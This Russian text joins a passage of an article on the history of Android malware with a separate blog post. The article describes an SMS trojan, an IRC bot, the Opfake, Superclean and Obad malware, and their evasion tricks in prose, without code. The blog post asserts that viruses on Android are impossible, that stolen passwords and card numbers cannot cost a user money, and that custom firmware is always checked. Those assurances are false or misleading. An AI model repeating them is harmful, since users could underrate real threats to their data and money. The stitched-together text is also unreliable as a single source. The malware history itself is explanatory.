В случае успешного получения прав root любым из двух способов запускался второй файл, в котором хранился SMS-троян - модификация известного трояна Foncy SMS. Троян определял принадлежность SIM-карты стране и начинал отправку сообщений на короткий платный номер, блокируя все ответные сообщения. Следующим запускался файл border01.png, в котором был код IRC-бота. Он подключался к IRC-серверу с IP-адресом 199.68.. и регистрировался на канале #andros под случайным ником. Все сообщения, отправленные боту, выполнялись в консоли как обычные Linux-команды.

Согласно заявлению сотрудников «Лаборатории Касперского», это было первое приложение такого класса для Android. Однако, по их мнению, опасность его была невелика, так как распространялся он только через серые маркеты, а эксплойт работал только в ранних версиях Android 2.3.

Первый полиморфный троян

В феврале 2012-го компания Symantec сообщила, что обнаружила первый полиморфный троян для платформы Android, который на тот момент не мог быть найден ни одним мобильным антивирусом, кроме ее собственного (сюрприз). Троян, названный Android.Opfake, распространялся через различные веб-сайты, находившиеся преимущественно на территории России и стран СНГ, в виде бесплатной версии популярного приложения или игры.

Полиморфным он был только условно, так как изменение трояна происходило на стороне сервера. При каждой новой загрузке файла содержимое APK-файла изменялось с помощью различных методов, таких как модификация файлов данных, включение в пакет приложения «мусорных файлов», а также изменение имен файлов. Все это затрудняло обнаружение мобильными антивирусами, которые в то время использовали примитивные техники идентификации, типа сверки контрольных сумм и проверки на наличие специфических файлов в пакете.

После попадания на смартфон жертвы и запуска троян извлекал из файла res/raw/data.db (который существовал в любой версии трояна) список операторов связи и платных коротких номеров и начинал отправку SMS. В дополнение троян открывал в браузере веб-страницу, содержащую ссылки на другое вредоносное ПО. Интересно, что сообщения также изменялись при каждой новой мутации трояна, в результате чего было невозможно блокировать определенные типы сообщений на стороне оператора.


Вирус-матрешка

Неделей раньше, а именно 1 февраля 2012 года, на сайте Виктор Чебушев опубликовал заметку, посвященную обнаружению нового типа вируса, распространяемого через магазин Google Play. Вирус маскировался под приложение Superclean, способное, по словам разработчиков, очистить память устройства и таким образом поднять производительность смартфона или планшета. На тот момент приложение имело уже от 1000 до 5000 установок и хороший рейтинг в 4,5 звезды.

Как выяснилось, Superclean действительно выполнял очистку памяти, но делал это простым перезапуском всех фоновых приложений с помощью всего пяти строк на языке Java. На этой «сложной» задаче полезное действие приложения заканчивалось, а самое интересное начиналось дальше. Анализируя код, сотрудник «Лаборатории Касперского» обнаружил, что при запуске приложение соединялось с удаленным сервером и загружало на карту памяти три файла: autorun.inf, folder.ico и svchosts.exe.

Первые два автоматически превращали подключаемый к USB-порту компа смартфон в самозагружаемую флешку, с которой запускался файл svchosts.exe. Сам svchosts.exe на поверку оказался бэкдором Backdoor.MSIL.Ssucl.a, который слушает микрофон компьютера и отправляет все полученные с его помощью данные на удаленный сервер.


Отличительной чертой трояна был также самый внушительный на тот момент набор функциональности из всех мобильных зловредов для Android. По команде от оператора он мог отправлять сообщения без ведома пользователя, включать и выключать Wi-Fi, собирать информацию об устройстве, открывать произвольные ссылки в браузере, отправлять на удаленный сервер содержимое SD-карты, SMS-переписку и выполнять многие другие операции.

Очередной ответ Google, или принудительная проверка всех приложений

К концу 2012 года ситуация с зловредами для Android стала уже настолько накаленной, что Google решила пойти на очередной кардинальный шаг. В сентябре без лишней огласки был приобретен сервис онлайн-проверки приложений на вирусы VirusTotal, а 29 октября выпущена версия Android 4.2, одним из новшеств которой стала автоматическая проверка любого устанавливаемого не через Google Play приложения на вирусы через удаленный сервис.

Трудно сказать, использовала ли Google купленный VirusTotal для этой задачи, или у них есть собственный сервис проверки, однако не нужно быть сотрудником Google, чтобы понять, что VirusTotal так или иначе был использован для защиты Android от вирусов.

Самый продвинутый троян

В июне этого года сотрудники «Лаборатории Касперского» обнаружили наиболее сложный и продвинутый в техническом плане троян для Android из всех, что встречались до этого. Троян получил имя Backdoor.AndroidOS.Obad.a. Это было независимое приложение, не внедряемое в легитимный софт и, судя по всему, распространяемое под видом известных приложений.

После соглашения пользователя с длинным списком полномочий, установки и запуска он запрашивал права администратора устройства (речь идет не о root, а о собственной системе безопасности Android), которые были нужны только для двух вещей: самостоятельной блокировки экрана и защиты от удаления. Последнее троян делал особенно изысканно. Используя ранее неизвестный баг в Android, он удалял себя из списка приложений с полномочиями администратора, из-за чего его невозможно было лишить этих прав и, как следствие, удалить.

Далее троян проверял в системе наличие прав root и при следующем подключении к Wi-Fi-сети отправлял информацию об устройстве на удаленный сервер. Информация была типична для такого рода приложений и содержала в себе номер телефона, IMEI, MAC-адреса и подобную информацию. В ответ он получал список команд для исполнения и заносил их в базу данных с пометкой о времени исполнения. Удаленными командами могли быть: проверка баланса, отправка сообщений, переход в режим проксирования трафика, скачивание и установка приложений, отправка файлов по Bluetooth, открытие шелла и другие. Плюс ко всему при каждом подключении к другому устройству по синему зубу он копировал сам себя на это устройство.

При попытке анализа кода трояна обнаружилось использование множества техник защиты от анализа. Во-первых, троян эксплуатировал неизвестный ранее баг в утилите dex2jar, из-за которого декомпиляция кода трояна происходила некорректно. Во-вторых, троян использовал еще один неизвестный баг в Android, позволяющий создать файл Manifest.xml, в котором содержится метаинформация о приложении, таким образом, чтобы он противоречил стандартам Google, но при этом корректно обрабатывался при запуске приложения. Из-за этого многие инструменты анализа просто не срабатывали.

Если же удавалось распаковать и декомпилировать код трояна, обойдя эти ограничения, то дальше приходилось иметь дело с многоуровневой системой шифрования, которая защищала от анализа все текстовые данные, а также имена методов (они тоже были строками и вызывались посредством рефлексии). Интересно, что ключом для первого слоя шифрования была строка с главной страницы facebook.com, из-за чего работу трояна невозможно было проанализировать в «стерильной комнате», без подключения к интернету (хотя ограничение, конечно, можно обойти с помощью прокси).

INFO

В качестве одного из методов полиморфизма в найденном Symantec трояне использовалась включаемая в разные файлы фотография того самого Свидетеля из Фрязино.

Выводы

Количество вирусов для Android сегодня исчисляется тысячами, и некоторые из них действительно представляют интерес для исследователя как образцы хорошего программирования и знания архитектуры Android. Вот только бояться их не стоит. Автор данной статьи уже более шести лет использует смартфоны на Android без всяких антивирусов и ни разу не поймал на них заразу. Главное - читать полномочия приложений и ставить их только из маркета.

Всем привет! Давно хотел написать статью (для кого-то это будет новость) про «вирусную опасность» для пользователей ОС Андроид. Часто вижу комментарии, вроде: «не бери Андроид, на этой оси куча вирусов», или «помогите подобрать хороший антивирус» и т.д. Сейчас мы с вами разберёмся с этим вопросом раз и навсегда.
Прежде всего, мы должны понять, что называют словом «Вирус» (или правильная формулировка, это- компьютерный вирус). Вирус - это разновидность компьютерных программ или вредоносный код, отличительным признаком которых является способность к размножению (саморепликация). В дополнение к этому вирусы могут без ведома пользователя выполнять прочие произвольные действия, в том числе наносящие вред пользователю и/или компьютеру (описание взято из Wikipedia).

Идём разбираться дальше. Что такое Андроид? Android - это открытая операционная UNIX подобная система, основанная на ядре Linux. Unix подобная значит то, что все действия программ и файлов (копирование, перемещение, управление системой и т.д.) происходят только при разрешении пользователя. И второе, если у вас отсутствуют права суперпользователя (т.е. рут), как бы вы не старались, какой-бы «бяку» вы не ставили, ваш смартфон никогда не выйдет из строя, или будет зависать от какой-то «плохой программы» (если конечно, вы его не загадите под завязку памяти). И факты: на сегодняшний день насчитывается около 6 типов (типа «страшных» строчек кода), которые могут вывести ваш девайс из строя. Но незадача, для того чтобы это произошло, у вас должна быть определённая модель смарта с определённым процессором (а этих моделей всего 8 и какие не скажу,- не об этом...), и вы должны сами изменить системные параметры, либо поставить прошивку/ядро с этим «девайс-киллером», что тоже невозможно, т.к. кастомные прошивки всегда проверяются. Вот мы, наконец-то, пришли к тому, что на Андроид не то, что нет вирусов,- они невозможны.

Но (подниму настроение дроидоненавистникам) на Андроид есть другие угрозы. Это, как их называют, SMSsender"ы и шпионские программы (в народе-троян). Начнём с последних.

Шпионские программы - это синтаксис (код) в обычном приложении, отправляющий данные пользователя (контакты, пароли, номера кредитных карт и счетов) на сервер. Но, даже имея ваш пароль и номер кредитной карты или счёта, злоумышленник ни каким образом не сможет украсть у вас деньги. Максимум - это ваши контакты и пароль от Одноклассников, которые вряд ли ему понадобятся. И из практики: скачал и установил я взломанную игру с таким трояном. При установке я его видел, но ради эксперимента решил оставить, хотя имея рут, я мог бы спокойно запретить ей отправлять мои данные. К моему телефону привязано две карты - кредитная и накопительная. Но за, приблизительно, пол года его ношения, со счетов не пропало ни копейки, т.к. банковские программы, к счастью, имеют хорошую защиту.

Переходим к SMSsender"aм. SMSsender - это так же определённый код в.apk приложении, отправляющий платные СМС на сервер. Попробуем разобраться с ним подробнее, и идём его искать. Где мы его быстрее всего найдём? Конечно на порно сайтах! Набираем в поисковике: смотреть «порно онлайн», переходим, и уже на втором сайте нас просят обновить FlashPlayer, который как-бы устарел. Здесь я понимаю, что мы нашли то, что искали и скачиваю наш псевдоплеер, который почему-то ещё и весит 90 kb. Но чтобы эта программа начала делать свою «чёрную работу», её надо установить. Перед инсталляцией система меня предупреждает, что приложение может отправлять платные СМС на другие номера телефонов и я прерываю установку, т.к. мы уже поняли что это плохо замаскированный smssender, ведь flashplayer не может так мало весить, и отправлять платные СМС ему ненужно. Чтобы полностью удостовериться, что это вредоносное ПО, я его разбираю. В нём я нахожу всё что мне нужно, и даже номер Яндекс.Кошелька, на который идут «пожертвования для малоимущего». Я мог бы пойти дальше, и привлечь его к уголовной ответственности, т.к. по Яндекс.Кошельку легко его можно найти, но заниматься я этим не собираюсь, да и нет на это времени.

И у некоторых может возникнуть вопрос: «Я подключаю свой смарт через USB к разным компам. Могу ли я „принести заразу“ с рабочего компа на домашний через смартфон на Андроиде»? Ответ - нет, разве что если вы сами целенаправленно не скачаете компьютерный вирус, скините его на смарт, а затем в комп!
Вот мы и пришли к выводу, что всё вредоносное ПО вы ставите исключительно из-за своей невнимательности и глупости. Потому, будьте внимательны перед установкой ПО, читайте какие разрешения требует приложение и всё у вас будет в порядке. И как сказал мой кум: «Волков бояться - в лесу не еб**ься». Всем спасибо за внимание, и я надеюсь, что моя статья кому-то пригодилась.